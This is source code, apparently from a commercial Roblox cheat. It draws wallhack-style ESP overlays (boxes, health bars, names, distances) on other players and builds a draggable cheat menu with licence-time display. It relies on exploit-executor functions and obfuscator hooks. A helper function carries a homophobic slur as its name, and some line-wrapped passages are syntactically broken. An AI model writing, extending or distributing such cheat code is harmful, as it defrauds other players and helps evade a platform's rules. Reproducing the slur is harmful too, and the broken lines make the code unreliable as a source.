                                BottomSide.Visible = Config.ESP.Drawing.Boxes.Bounding.Enabled
                                BottomSide.Position = UDim2.new(0, Pos.X - w / 2, 0, Pos.Y + h /
2)
                                BottomSide.Size = UDim2.new(0, w, 0, 1)


                                RightSide.Visible = Config.ESP.Drawing.Boxes.Bounding.Enabled
                                RightSide.Position = UDim2.new(0, Pos.X + w / 2 - 1, 0, Pos.Y - h /
2)
                                RightSide.Size = UDim2.new(0, 1, 0, h)

                                BottomRightSide.Visible = false
                                BottomRightDown.Visible = false
                                BottomDown.Visible = false
                                RightTop.Visible = false
                            end
                        end

                        do -- Boxes
                            Box.Position = UDim2.new(0, Pos.X - w / 2, 0, Pos.Y - h / 2)
                            Box.Size = UDim2.new(0, w, 0, h)
                            Box.Visible = Config.ESP.Drawing.Boxes.Full.Enabled

                            -- Animation
                            if Config.ESP.Drawing.Boxes.Animate then
                                RotationAngle = RotationAngle + (tick() - Tick) *
Config.ESP.Drawing.Boxes.RotationSpeed * math.cos(math.pi / 4 * tick() - math.pi / 2)
```

```
                    Gradient1.Rotation = RotationAngle
                    Gradient2.Rotation = RotationAngle
                 end


                 Tick = tick()
              end

              -- Healthbar
              do


                    local is_inf = false

                    if Humanoid.Health ~= Humanoid.Health then
                       health = 1;
                       is_inf = true;
                    end

                    Healthbar.Position = UDim2.new(0, Pos.X - w / 2 - 6, 0, Pos.Y - h /
2 + h * (1 - health))
                    Healthbar.Size = UDim2.new(0,
Config.ESP.Drawing.Healthbar.Width, 0, h * health)

                    Healthbar.BackgroundTransparency =
Config.ESP.Drawing.Healthbar.Transparency

                    BehindHealthbar.Position = UDim2.new(0, Pos.X - w / 2 - 6, 0,
Pos.Y - h / 2)
                    BehindHealthbar.Size = UDim2.new(0,
Config.ESP.Drawing.Healthbar.Width, 0, h)
                    BehindHealthbar.BackgroundTransparency =
Config.ESP.Drawing.Healthbar.Transparency


                    HealthbarGradient.Enabled =
Config.ESP.Drawing.Healthbar.Gradient
                    HealthbarGradient.Color = ColorSequence.new{
                       ColorSequenceKeypoint.new(0,
Config.ESP.Drawing.Healthbar.GradientRGB1),
                       ColorSequenceKeypoint.new(1,
Config.ESP.Drawing.Healthbar.GradientRGB2)
                    }

                    HealthbarGradient.Offset = Vector2.new(0, health - 1)

                    local color = getHealthColor(health_clamped ,
Humanoid.MaxHealth)
                    local healthtexttext = tostring(math.floor(health_clamped))

                    if is_inf then
                       healthtexttext = "inf"
```

```
                                    color = getHealthColor(Humanoid.MaxHealth,
Humanoid.MaxHealth)
                                end

                                Healthbar.BackgroundColor3 = not
Config.ESP.Drawing.Healthbar.Gradient and color or Color3.new(1,1,1)
                                -- Health Text

                                Healthbar.Visible = Config.ESP.Drawing.Healthbar.Enabled
                                BehindHealthbar.Visible = Config.ESP.Drawing.Healthbar.Enabled

                                do
                                    if Config.ESP.Drawing.Healthbar.HealthText then
                                        local healthPercentage = math.floor(health_clamped /
Humanoid.MaxHealth * 100)

                                        if is_inf then
                                            healthPercentage = 100
                                        end

                                        HealthText.Position = UDim2.new(0, Pos.X - w / 2 - 18 --[[6]],
0, Pos.Y - h / 2 + h * (1 - healthPercentage / 100) + 3)
                                        HealthText.Text = healthtexttext
                                        HealthText.TextSize = Config.ESP.FontSize
                                        --HealthText.Font = Config.ESP.Font
                                        HealthText.Visible = Config.ESP.Drawing.Healthbar.HealthText
                                        HealthText.TextStrokeTransparency =
Config.ESP.Drawing.Healthbar.HealthTextTransparency
                                        if Config.ESP.Drawing.Healthbar.Lerp then
                                            HealthText.TextColor3 = color
                                        else
                                            HealthText.TextColor3 =
Config.ESP.Drawing.Healthbar.HealthTextRGB
                                        end
                                    else
                                        HealthText.Visible = false
                                    end
                                end
                            end

                            do -- Names
                                Name.Visible = Config.ESP.Drawing.Names.Enabled
                                Name.Text = plr.Name
                                if Config.ESP.Options.Friendcheck and
lplayer:IsFriendsWith(plr.UserId) then
                                    Name.Text = string.format('(<font color="rgb(%d, %d, %d)">F</
font>) %s', Config.ESP.Options.FriendcheckRGB.R * 255,
Config.ESP.Options.FriendcheckRGB.G * 255, Config.ESP.Options.FriendcheckRGB.B * 255,
plr.Name)
                                end
                                Name.Position = UDim2.new(0, Pos.X, 0, Pos.Y - h / 2 - 9)
                            end

                            do -- Distance
```

```
                                if Config.ESP.Drawing.Distances.Enabled then
                                    Weapon.Position = UDim2.new(0, Pos.X, 0, Pos.Y + h / 2 + 7)

                                    --WeaponIcon.Position = UDim2.new(0, Pos.X - 21, 0, Pos.Y +
h / 2 + 15);
                                    Distance.Position = UDim2.new(0, Pos.X, 0, Pos.Y + h / 2 +
(Weapon.Visible and 18 or 7))
                                    Distance.Text = string.format("%d Studs", math.floor(Dist))

                                    Distance.Visible = true
                                    --Distance.Font = Config.ESP.Font
                                else
                                    Weapon.Position = UDim2.new(0, Pos.X, 0, Pos.Y + h / 2 + 8)
                                    Distance.Visible = false;
                                end
                            end

                            do -- Weapons
                                Weapon.Visible = Config.ESP.Drawing.Weapons.Enabled
                                --Weapon.Font = Config.ESP.Font
                            end
                        else
                            HideESP();
                        end
                    else
                        HideESP();
                    end
                else
                    HideESP();
                end
            else
                HideESP();
            end
        end))
    end
    coroutine.wrap(Updater)();
    end))
end
do -- Update ESP
    for _, v in pairs(Players:GetPlayers()) do
        if v ~= lplayer then
            coroutine.wrap(ESP)(v)
        end
    end
    --
    Players.PlayerAdded:Connect(function(v)
        coroutine.wrap(ESP)(v)
    end);

    Players.PlayerRemoving:Connect(function(v)
        if Players_ESP[v.Name] then
            Players_ESP[v.Name].RefreshElements = nil
            Players_ESP[v.Name].CharacterAdded:Disconnect()
            Players_ESP[v.Name].CharacterAdded = nil
```

```
                Players_ESP[v.Name].ToolConnection_Added:Disconnect()
                Players_ESP[v.Name].ToolConnection_Removed:Disconnect()
                Players_ESP[v.Name].ToolConnection_Removed = nil
                Players_ESP[v.Name].ToolConnection_Added = nil
                Players_ESP[v.Name] = nil
            end
        end)
    end;
  end;
end

if not Mobile then
--LPH_JIT_MAX(function()
  local uis = Services.UserInputService
  local players = Services.Players
  local ws = Services.Workspace
  local rs = Services.ReplicatedStorage
  local http_service = Services.HttpService
  local gui_service = Services.GuiService
  local lighting = Services.Lighting
  local run = Services.RunService
  local stats = Services.Stats
  local coregui = Services.CoreGui
  local debris = Services.Debris
  local tween_service = Services.TweenService
  local sound_service = Services.SoundService
  local run_service = Services.RunService


  local vec2 = Vector2.new
  local vec3 = Vector3.new
  local dim2 = UDim2.new
  local dim = UDim.new
  local rect = Rect.new
  local cfr = CFrame.new
  local empty_cfr = cfr()
  local point_object_space = empty_cfr.PointToObjectSpace
  local angle = CFrame.Angles
  local dim_offset = UDim2.fromOffset

  local color = Color3.new
  local rgb = Color3.fromRGB
  local hex = Color3.fromHex
  local hsv = Color3.fromHSV
  local rgbseq = ColorSequence.new
  local rgbkey = ColorSequenceKeypoint.new
  local numseq = NumberSequence.new
  local numkey = NumberSequenceKeypoint.new

  local camera = ws.CurrentCamera
  local lp = players.LocalPlayer
  local mouse = lp:GetMouse()
  local gui_offset = gui_service:GetGuiInset().Y
```

```
    local max = math.max
    local floor = math.floor
    local min = math.min
    local abs = math.abs
    local noise = math.noise
    local rad = math.rad
    local random = math.random
    local pow = math.pow
    local sin = math.sin
    local pi = math.pi
    local tan = math.tan
    local atan2 = math.atan2
    local clamp = math.clamp

    local insert = table.insert
    local find = table.find
    local remove = table.remove
    local concat = table.concat
--

-- Library init
    local themes = {
        preset = {
            accent = rgb(0, 162, 255),
        },

        utility = {
            accent = {
                BackgroundColor3 = {},
                TextColor3 = {},
                ImageColor3 = {},
                ScrollBarImageColor3 = {}
            },
        }
    }

    local keys = {
        [Enum.KeyCode.LeftShift] = "LS",
        [Enum.KeyCode.RightShift] = "RS",
        [Enum.KeyCode.LeftControl] = "LC",
        [Enum.KeyCode.RightControl] = "RC",
        [Enum.KeyCode.Insert] = "INS",
        [Enum.KeyCode.Backspace] = "BS",
        [Enum.KeyCode.Return] = "Ent",
        [Enum.KeyCode.LeftAlt] = "LA",
        [Enum.KeyCode.RightAlt] = "RA",
        [Enum.KeyCode.CapsLock] = "CAPS",
        [Enum.KeyCode.One] = "1",
        [Enum.KeyCode.Two] = "2",
        [Enum.KeyCode.Three] = "3",
        [Enum.KeyCode.Four] = "4",
        [Enum.KeyCode.Five] = "5",
        [Enum.KeyCode.Six] = "6",
        [Enum.KeyCode.Seven] = "7",
```

```
    [Enum.KeyCode.Eight] = "8",
    [Enum.KeyCode.Nine] = "9",
    [Enum.KeyCode.Zero] = "0",
    [Enum.KeyCode.KeypadOne] = "Num1",
    [Enum.KeyCode.KeypadTwo] = "Num2",
    [Enum.KeyCode.KeypadThree] = "Num3",
    [Enum.KeyCode.KeypadFour] = "Num4",
    [Enum.KeyCode.KeypadFive] = "Num5",
    [Enum.KeyCode.KeypadSix] = "Num6",
    [Enum.KeyCode.KeypadSeven] = "Num7",
    [Enum.KeyCode.KeypadEight] = "Num8",
    [Enum.KeyCode.KeypadNine] = "Num9",
    [Enum.KeyCode.KeypadZero] = "Num0",
    [Enum.KeyCode.Minus] = "-",
    [Enum.KeyCode.Equals] = "=",
    [Enum.KeyCode.Tilde] = "~",
    [Enum.KeyCode.LeftBracket] = "[",
    [Enum.KeyCode.RightBracket] = "]",
    [Enum.KeyCode.RightParenthesis] = ")",
    [Enum.KeyCode.LeftParenthesis] = "(",
    [Enum.KeyCode.Semicolon] = ",",
    [Enum.KeyCode.Quote] = "'",
    [Enum.KeyCode.BackSlash] = "\\",
    [Enum.KeyCode.Comma] = ",",
    [Enum.KeyCode.Period] = ".",
    [Enum.KeyCode.Slash] = "/",
    [Enum.KeyCode.Asterisk] = "*",
    [Enum.KeyCode.Plus] = "+",
    [Enum.KeyCode.Period] = ".",
    [Enum.KeyCode.Backquote] = "`",
    [Enum.UserInputType.MouseButton1] = "MB1",
    [Enum.UserInputType.MouseButton2] = "MB2",
    [Enum.UserInputType.MouseButton3] = "MB3",
    [Enum.KeyCode.Escape] = "ESC",
    [Enum.KeyCode.Space] = "SPC",
    [Enum.KeyCode.End] = "END",
}

library.__index = library

local flags = library.flags
local config_flags = library.config_flags
local notifications = library.notifications

local fonts = {}; do
    function Register_Font(Name, Weight, Style, Asset)
        if not isfile(Asset.Id) then
            writefile(Asset.Id, Asset.Font)
        end

        if isfile(Name .. ".font") then
            delfile(Name .. ".font")
        end
```

```
        local Data = {
            name = Name,
            faces = {
                {
                    name = "Normal",
                    weight = Weight,
                    style = Style,
                    assetId = getcustomasset(Asset.Id),
                },
            },
        }

        writefile(Name .. ".font", http_service:JSONEncode(Data))

        return getcustomasset(Name .. ".font");
    end

    local Medium = Register_Font("Medium", 200, "Normal", {
        Id = "Medium.ttf",
        Font = game:HttpGet("https://github.com/i77lhm/storage/raw/refs/heads/main/fonts/
Inter_28pt-Medium.ttf"),
    })

    local SemiBold = Register_Font("SemiBold", 200, "Normal", {
        Id = "SemiBold.ttf",
        Font = game:HttpGet("https://github.com/i77lhm/storage/raw/refs/heads/main/fonts/
Inter_28pt-SemiBold.ttf"),
    })

    fonts = {
        small = Font.new(Medium, Enum.FontWeight.Regular, Enum.FontStyle.Normal);
        font = Font.new(SemiBold, Enum.FontWeight.Regular, Enum.FontStyle.Normal);
    }
  end
--

-- Library functions
  -- Misc functions
    function library:tween(obj, properties, easing_style, time)
        local tween = tween_service:Create(obj, TweenInfo.new(time or 0.25, easing_style or
Enum.EasingStyle.Quint, Enum.EasingDirection.InOut, 0, false, 0), properties):Play()

        return tween
    end

    function library:resizify(frame)
        local Frame = Instance.new("TextButton")
        Frame.Position = dim2(1, -10, 1, -10)
        Frame.BorderColor3 = rgb(0, 0, 0)
        Frame.Size = dim2(0, 10, 0, 10)
        Frame.BorderSizePixel = 0
        Frame.BackgroundColor3 = rgb(255, 255, 255)
        Frame.Parent = frame
        Frame.BackgroundTransparency = 1
```

```
    Frame.Text = ""

    local resizing = false
    local start_size
    local start
    local og_size = frame.Size

    Frame.InputBegan:Connect(function(input)
        if input.UserInputType == Enum.UserInputType.MouseButton1 then
            resizing = true
            start = input.Position
            start_size = frame.Size
        end
    end)

    Frame.InputEnded:Connect(function(input)
        if input.UserInputType == Enum.UserInputType.MouseButton1 then
            resizing = false
        end
    end)

    library:connection(uis.InputChanged, function(input, game_event)
        if resizing and input.UserInputType == Enum.UserInputType.MouseMovement then
            local viewport_x = camera.ViewportSize.X
            local viewport_y = camera.ViewportSize.Y

            local current_size = dim2(
                start_size.X.Scale,
                math.clamp(
                    start_size.X.Offset + (input.Position.X - start.X),
                    og_size.X.Offset,
                    viewport_x
                ),
                start_size.Y.Scale,
                math.clamp(
                    start_size.Y.Offset + (input.Position.Y - start.Y),
                    og_size.Y.Offset,
                    viewport_y
                )
            )

            library:tween(frame, {Size = current_size}, Enum.EasingStyle.Linear, 0.05)
        end
    end)
end

function fag(tbl)
    local Size = 0

    for _ in tbl do
        Size = Size + 1
    end

    return Size
```

```
    end

    function library:next_flag()
        local index = fag(library.flags) + 1;
        local str = string.format("flagnumber%s", index)

        return str;
    end

    function library:mouse_in_frame(uiobject)
        local y_cond = uiobject.AbsolutePosition.Y <= mouse.Y and mouse.Y <=
uiobject.AbsolutePosition.Y + uiobject.AbsoluteSize.Y
        local x_cond = uiobject.AbsolutePosition.X <= mouse.X and mouse.X <=
uiobject.AbsolutePosition.X + uiobject.AbsoluteSize.X

        return (y_cond and x_cond)
    end

    function library:draggify(frame)
        local dragging = false
        local start_size = frame.Position
        local start

        frame.InputBegan:Connect(LPH_NO_VIRTUALIZE(function(input)
            if input.UserInputType == Enum.UserInputType.MouseButton1 then
                dragging = true
                start = input.Position
                start_size = frame.Position
            end
        end))

        frame.InputEnded:Connect(LPH_NO_VIRTUALIZE(function(input)
            if input.UserInputType == Enum.UserInputType.MouseButton1 then
                dragging = false
            end
        end))

        library:connection(uis.InputChanged, LPH_NO_VIRTUALIZE(function(input,
game_event)
            if dragging and input.UserInputType == Enum.UserInputType.MouseMovement then
                local viewport_x = camera.ViewportSize.X
                local viewport_y = camera.ViewportSize.Y

                local current_position = dim2(
                    0,
                    clamp(
                        start_size.X.Offset + (input.Position.X - start.X),
                        0,
                        viewport_x - frame.Size.X.Offset
                    ),
                    0,
                    math.clamp(
                        start_size.Y.Offset + (input.Position.Y - start.Y),
                        0,
```

```
                    viewport_y - frame.Size.Y.Offset
                )
            )

            library:tween(frame, {Position = current_position}, Enum.EasingStyle.Linear, 0.05)
            library:close_element()
        end
    end))
end

function library:convert(str)
    local values = {}

    for value in string.gmatch(str, "[^,]+") do
        insert(values, tonumber(value))
    end

    if #values == 4 then
        return unpack(values)
    else
        return
    end
end

function library:convert_enum(enum)
    local enum_parts = {}

    for part in string.gmatch(enum, "[%w_]+") do
        insert(enum_parts, part)
    end

    local enum_table = Enum
    for i = 2, #enum_parts do
        local enum_item = enum_table[enum_parts[i]]

        enum_table = enum_item
    end

    return enum_table
end

local config_holder;
function library:update_config_list()
    if not config_holder then
        return
    end

    local list = {}

    for idx, file in listfiles(library.directory .. "/configs") do
        local name = file:gsub(library.directory .. "/configs\\", ""):gsub(".cfg",
""):gsub(library.directory .. "\\configs\\", "")
        list[#list + 1] = name
    end
```

```
    config_holder.refresh_options(list)
end

function library:get_config()
    local Config = {}

    for _, v in next, flags do
        if type(v) == "table" and v.key then
            Config[_] = {active = v.active, mode = v.mode, key = tostring(v.key)}
        elseif type(v) == "table" and v["Transparency"] and v["Color"] then
            Config[_] = {Transparency = v["Transparency"], Color = v["Color"]:ToHex()}
        else
            Config[_] = v
        end
    end

    return http_service:JSONEncode(Config)
end

function library:load_config(config_json)
    local config = http_service:JSONDecode(config_json)

    for _, v in config do
        local function_set = library.config_flags[_]

        if _ == "config_name_list" then
            continue
        end

        if function_set then
            if type(v) == "table" and v["Transparency"] and v["Color"] then
                function_set(hex(v["Color"]), v["Transparency"])
            elseif type(v) == "table" and v["active"] then
                function_set(v)
            else
                function_set(v)
            end
        end
    end
end

function library:round(number, float)
    local multiplier = 1 / (float or 1)

    return floor(number * multiplier + 0.5) / multiplier
end

function library:apply_theme(instance, theme, property)
    insert(themes.utility[theme][property], instance)
end

function library:update_theme(theme, color)
    for _, property in themes.utility[theme] do
```

```
        for m, object in property do
            if object[_] == themes.preset[theme] then
                object[_] = color
            end
        end
    end

    themes.preset[theme] = color
end

function library:connection(signal, callback)
    local connection = signal:Connect(callback)

    insert(library.connections, connection)

    return connection
end

function library:close_element(new_path)
    local open_element = library.current_open

    if open_element and new_path ~= open_element then
        open_element.set_visible(false)
        open_element.open = false;
    end

    if new_path ~= open_element then
        library.current_open = new_path or nil;
    end
end

function library:create(instance, options)
    local ins = Instance.new(instance)

    for prop, value in options do
        ins[prop] = value
    end

    return ins
end

function library:unload_menu()
    if library[ "items" ] then
        library[ "items" ]:Destroy()
    end

    if library[ "other" ] then
        library[ "other" ]:Destroy()
    end

    for index, connection in library.connections do
        connection:Disconnect()
        connection = nil
```

```
        end

        library = nil
    end
--
    --[[local cursor_screengui = library:create("ScreenGui", {
        ResetOnSpawn = false,
        ZIndexBehavior = Enum.ZIndexBehavior.Global,
        Name = "error - stack",
        IgnoreGuiInset = true,
        DisplayOrder = 9999,
        Parent = gethui()
    })

    local cursor_image = library:create("ImageLabel", {
        Name = "Cursor",
        BackgroundTransparency = 1,
        Size = UDim2.new(0, 34, 0, 34),
        Image = GetImage('cursor.png'),
        ZIndex = 6969,
        Parent = cursor_screengui
    })

    run_service.PreRender:Connect(LPH_NO_VIRTUALIZE(function()
        local mouseloc = uis:GetMouseLocation()
        cursor_image.Position = UDim2.new(0, mouseloc.X , 0, mouseloc.Y)
    end))]]

-- Library element functions
    function library:window(properties)
        local cfg = {
            suffix = properties.suffix or properties.Suffix or "tech";
            name = properties.name or properties.Name or "nebula";
            game_name = properties.gameInfo or properties.game_info or properties.GameInfo
or "Milenium for Counter-Strike: Global Offensive";
            size = properties.size or properties.Size or dim2(0, 700, 0, 565);
            selected_tab;
            items = {};

            tween;
        }

        library[ "items" ] = library:create( "ScreenGui" , {
            Parent = gethui();
            Name = "\0";
            Enabled = true;
            ZIndexBehavior = Enum.ZIndexBehavior.Global;
            IgnoreGuiInset = true;
        });

        library[ "other" ] = library:create( "ScreenGui" , {
            Parent = gethui();
            Name = "\0";
            Enabled = false;
```

```
        ZIndexBehavior = Enum.ZIndexBehavior.Sibling;
        IgnoreGuiInset = true;
    });

    -- IF SHIT HAPPEN REMVOE ZINDEX

    local items = cfg.items; do
        items[ "main" ] = library:create( "Frame" , {
            Parent = library[ "items" ];
            Size = cfg.size;
            Name = "\0";
            Position = dim2(0.5, -cfg.size.X.Offset / 2, 0.5, -cfg.size.Y.Offset / 2);
            BorderColor3 = rgb(0, 0, 0);
            BorderSizePixel = 0;
            BackgroundColor3 = rgb(14, 14, 16),
        }); items[ "main" ].Position = dim2(0, items[ "main" ].AbsolutePosition.X, 0,
items[ "main" ].AbsolutePosition.Y)

        library:create( "UICorner" , {
            Parent = items[ "main" ];
            CornerRadius = dim(0, 10)
        });

        library:create( "UIStroke" , {
            Color = rgb(23, 23, 29);
            Parent = items[ "main" ];
            ApplyStrokeMode = Enum.ApplyStrokeMode.Border
        });

        items[ "side_frame" ] = library:create( "Frame" , {
            Parent = items[ "main" ];
            BackgroundTransparency = 1;
            Name = "\0";
            BorderColor3 = rgb(0, 0, 0);
            Size = dim2(0, 196, 1, -25);
            BorderSizePixel = 0;
            BackgroundColor3 = rgb(14, 14, 16)
        });

        library:create( "Frame" , {
            AnchorPoint = vec2(1, 0);
            Parent = items[ "side_frame" ];
            Position = dim2(1, 0, 0, 0);
            BorderColor3 = rgb(0, 0, 0);
            Size = dim2(0, 1, 1, 0);
            BorderSizePixel = 0;
            BackgroundColor3 = rgb(21, 21, 23)
        });

        items[ "button_holder" ] = library:create( "Frame" , {
            Parent = items[ "side_frame" ];
            Name = "\0";
            BackgroundTransparency = 1;
            Position = dim2(0, 0, 0, 60);
```

```
            BorderColor3 = rgb(0, 0, 0);
            Size = dim2(1, 0, 1, -60);
            BorderSizePixel = 0;
            BackgroundColor3 = rgb(255, 255, 255)
        }); cfg.button_holder = items[ "button_holder" ];

        library:create( "UIListLayout" , {
            Parent = items[ "button_holder" ];
            Padding = dim(0, 5);
            SortOrder = Enum.SortOrder.LayoutOrder
        });

        library:create( "UIPadding" , {
            PaddingTop = dim(0, 16);
            PaddingBottom = dim(0, 36);
            Parent = items[ "button_holder" ];
            PaddingRight = dim(0, 11);
            PaddingLeft = dim(0, 10)
        });

        local accent = themes.preset.accent
        items[ "title" ] = library:create( "TextLabel" , {
            FontFace = fonts.font;
            BorderColor3 = rgb(0, 0, 0);
            Text = name;
            Parent = items[ "side_frame" ];
            Name = "\0";
            Text = string.format('<u>%s</u><font color = "rgb(255, 255, 255)">%s</font>',
cfg.name, cfg.suffix);
            BackgroundTransparency = 1;
            Size = dim2(1, 0, 0, 70);
            TextColor3 = themes.preset.accent;
            BorderSizePixel = 0;
            RichText = true;
            TextSize = 30;
            BackgroundColor3 = rgb(255, 255, 255)
        }); library:apply_theme(items[ "title" ], "accent", "TextColor3");

        items[ "multi_holder" ] = library:create( "Frame" , {
            Parent = items[ "main" ];
            Name = "\0";
            BackgroundTransparency = 1;
            Position = dim2(0, 196, 0, 0);
            BorderColor3 = rgb(0, 0, 0);
            Size = dim2(1, -196, 0, 56);
            BorderSizePixel = 0;
            BackgroundColor3 = rgb(255, 255, 255)
        }); cfg.multi_holder = items[ "multi_holder" ];

        library:create( "Frame" , {
            AnchorPoint = vec2(0, 1);
            Parent = items[ "multi_holder" ];
            Position = dim2(0, 0, 1, 0);
            BorderColor3 = rgb(0, 0, 0);
```

```
    Size = dim2(1, 0, 0, 1);
    BorderSizePixel = 0;
    BackgroundColor3 = rgb(21, 21, 23)
});

items[ "shadow" ] = library:create( "ImageLabel" , {
    ImageColor3 = rgb(0, 0, 0);
    ScaleType = Enum.ScaleType.Slice;
    Parent = items[ "main" ];
    BorderColor3 = rgb(0, 0, 0);
    Name = "\0";
    BackgroundColor3 = rgb(255, 255, 255);
    Size = dim2(1, 75, 1, 75);
    AnchorPoint = vec2(0.5, 0.5);
    Image = "rbxassetid://112971167999062";
    BackgroundTransparency = 1;
    Position = dim2(0.5, 0, 0.5, 0);
    SliceScale = 0.75;
    ZIndex = -100;
    BorderSizePixel = 0;
    SliceCenter = rect(vec2(112, 112), vec2(147, 147))
});

items[ "global_fade" ] = library:create( "Frame" , {
    Parent = items[ "main" ];
    Name = "\0";
    BackgroundTransparency = 1;
    Position = dim2(0, 196, 0, 56);
    BorderColor3 = rgb(0, 0, 0);
    Size = dim2(1, -196, 1, -81);
    BorderSizePixel = 0;
    BackgroundColor3 = rgb(14, 14, 16);
    ZIndex = 2;
});

library:create( "UICorner" , {
    Parent = items[ "shadow" ];
    CornerRadius = dim(0, 5)
});

items[ "info" ] = library:create( "Frame" , {
    AnchorPoint = vec2(0, 1);
    Parent = items[ "main" ];
    Name = "\0";
    Position = dim2(0, 0, 1, 0);
    BorderColor3 = rgb(0, 0, 0);
    Size = dim2(1, 0, 0, 25);
    BorderSizePixel = 0;
    BackgroundColor3 = rgb(23, 23, 25)
});

library:create( "UICorner" , {
    Parent = items[ "info" ];
    CornerRadius = dim(0, 10)
```

```
        });

        items[ "grey_fill" ] = library:create( "Frame" , {
            Name = "\0";
            Parent = items[ "info" ];
            BorderColor3 = rgb(0, 0, 0);
            Size = dim2(1, 0, 0, 6);
            BorderSizePixel = 0;
            BackgroundColor3 = rgb(23, 23, 25)
        });

        items[ "game" ] = library:create( "TextLabel" , {
            FontFace = fonts.font;
            Parent = items[ "info" ];
            TextColor3 = rgb(72, 72, 73);
            BorderColor3 = rgb(0, 0, 0);
            Text = cfg.game_name;
            Name = "\0";
            Size = dim2(1, 0, 0, 0);
            AnchorPoint = vec2(0, 0.5);
            Position = dim2(0, 10, 0.5, -1);
            BackgroundTransparency = 1;
            TextXAlignment = Enum.TextXAlignment.Left;
            BorderSizePixel = 0;
            AutomaticSize = Enum.AutomaticSize.XY;
            TextSize = 14;
            BackgroundColor3 = rgb(255, 255, 255)
        });

        if not LRM_SecondsLeft then
            LRM_SecondsLeft = math.huge
        end

        local time_left = tostring((LRM_SecondsLeft < math.huge and
"".tostring(math.floor(((LRM_SecondsLeft / 60) / 60) / 24))." days" or LRM_SecondsLeft ==
math.huge and "lifetime"))

        items[ "other_info" ] = library:create( "TextLabel" , {
            Parent = items[ "info" ];
            RichText = true;
            Name = "\0";
            TextColor3 = themes.preset.accent;
            BorderColor3 = rgb(0, 0, 0);
            Text = '<font color="rgb(72, 72, 73)">'..time_left..', </font>' .. cfg.name:lower() ..
cfg.suffix:lower();
            Size = dim2(1, 0, 0, 0);
            Position = dim2(0, -10, 0.5, -1);
            AnchorPoint = vec2(0, 0.5);
            BorderSizePixel = 0;
            BackgroundTransparency = 1;
            TextXAlignment = Enum.TextXAlignment.Right;
            AutomaticSize = Enum.AutomaticSize.XY;
            FontFace = fonts.font;
            TextSize = 14;
```

```
                BackgroundColor3 = rgb(255, 255, 255)
            }); library:apply_theme(items[ "other_info" ], "accent", "TextColor3");
        end

        do -- Other
            library:draggify(items[ "main" ])
            library:resizify(items[ "main" ])
        end

        function cfg.toggle_menu(bool)
            -- WIP
            -- if cfg.tween then
            --     cfg.tween:Cancel()
            -- end

            -- items[ "main" ].Size = dim2(items[ "main" ].Size.Scale.X,
items[ "main" ].Size.Offset.X - 20, items[ "main" ].Size.Scale.Y, items[ "main" ].Size.Offset.Y -
20)
            -- library:tween(items[ "tab_holder" ], {Size = dim2(1, -196, 1, -81)},
Enum.EasingStyle.Quad, 0.4)
            -- cfg.tween =
            --cursor_image.Visible = bool
            --uis.MouseIconEnabled = not bool
            library[ "items" ].Enabled = bool
        end

        RunService.RenderStepped:Connect(LPH_NO_VIRTUALIZE(function()
            if library[ "items" ].Enabled and not uis.MouseIconEnabled then
                uis.MouseIconEnabled = true
            end
        end))

        return setmetatable(cfg, library)
    end

    function library:tab(properties)
        local cfg = {
            name = properties.name or properties.Name or "visuals";
            icon = properties.icon or properties.Icon or "http://www.roblox.com/asset/?
id=6034767608";

            -- multi
            tabs = properties.tabs or properties.Tabs or {"Main", "Misc.", "Settings"};
            pages = {}; -- data store for multi sections
            current_multi;

            items = {};
        }

        local items = cfg.items; do
            items[ "tab_holder" ] = library:create( "Frame" , {
                Parent = library.cache;
                Name = "\0";
                Visible = false;
```

```
    BackgroundTransparency = 1;
    Position = dim2(0, 196, 0, 56);
    BorderColor3 = rgb(0, 0, 0);
    Size = dim2(1, -216, 1, -101);
    BorderSizePixel = 0;
    BackgroundColor3 = rgb(255, 255, 255)
});

-- Tab buttons
    items[ "button" ] = library:create( "TextButton" , {
        FontFace = fonts.font;
        TextColor3 = rgb(255, 255, 255);
        BorderColor3 = rgb(0, 0, 0);
        Text = "";
        Parent = self.items[ "button_holder" ];
        AutoButtonColor = false;
        BackgroundTransparency = 1;
        Name = "\0";
        Size = dim2(1, 0, 0, 35);
        BorderSizePixel = 0;
        TextSize = 16;
        BackgroundColor3 = rgb(29, 29, 29)
    });

    items[ "icon" ] = library:create( "ImageLabel" , {
        ImageColor3 = rgb(72, 72, 73);
        BorderColor3 = rgb(0, 0, 0);
        Parent = items[ "button" ];
        AnchorPoint = vec2(0, 0.5);
        Image = cfg.icon;
        BackgroundTransparency = 1;
        Position = dim2(0, 10, 0.5, 0);
        Name = "\0";
        Size = dim2(0, 22, 0, 22);
        BorderSizePixel = 0;
        BackgroundColor3 = rgb(255, 255, 255)
    }); library:apply_theme(items[ "icon" ], "accent", "ImageColor3");

    items[ "name" ] = library:create( "TextLabel" , {
        FontFace = fonts.font;
        TextColor3 = rgb(72, 72, 73);
        BorderColor3 = rgb(0, 0, 0);
        Text = cfg.name;
        Parent = items[ "button" ];
        Name = "\0";
        Size = dim2(0, 0, 1, 0);
        Position = dim2(0, 40, 0, 0);
        BackgroundTransparency = 1;
        TextXAlignment = Enum.TextXAlignment.Left;
        BorderSizePixel = 0;
        AutomaticSize = Enum.AutomaticSize.X;
        TextSize = 16;
        BackgroundColor3 = rgb(255, 255, 255)
    });
```

```
    library:create( "UIPadding" , {
        Parent = items[ "name" ];
        PaddingRight = dim(0, 5);
        PaddingLeft = dim(0, 5)
    });

    library:create( "UICorner" , {
        Parent = items[ "button" ];
        CornerRadius = dim(0, 7)
    });

    library:create( "UIStroke" , {
        Color = rgb(23, 23, 29);
        Parent = items[ "button" ];
        Enabled = false;
        ApplyStrokeMode = Enum.ApplyStrokeMode.Border
    });
--

-- Multi Sections
    items[ "multi_section_button_holder" ] = library:create( "Frame" , {
        Parent = library.cache;
        BackgroundTransparency = 1;
        Name = "\0";
        Visible = false;
        BorderColor3 = rgb(0, 0, 0);
        Size = dim2(1, 0, 1, 0);
        BorderSizePixel = 0;
        BackgroundColor3 = rgb(255, 255, 255)
    });

    library:create( "UIListLayout" , {
        Parent = items[ "multi_section_button_holder" ];
        Padding = dim(0, 7);
        SortOrder = Enum.SortOrder.LayoutOrder;
        FillDirection = Enum.FillDirection.Horizontal
    });

    library:create( "UIPadding" , {
        PaddingTop = dim(0, 8);
        PaddingBottom = dim(0, 7);
        Parent = items[ "multi_section_button_holder" ];
        PaddingRight = dim(0, 7);
        PaddingLeft = dim(0, 7)
    });

    for _, section in cfg.tabs do
        local data = {items = {}}

        local multi_items = data.items; do
            -- Button
                multi_items[ "button" ] = library:create( "TextButton" , {
                    FontFace = fonts.font;
```

```
                    TextColor3 = rgb(255, 255, 255);
                    BorderColor3 = rgb(0, 0, 0);
                    AutoButtonColor = false;
                    Text = "";
                    Parent = items[ "multi_section_button_holder" ];
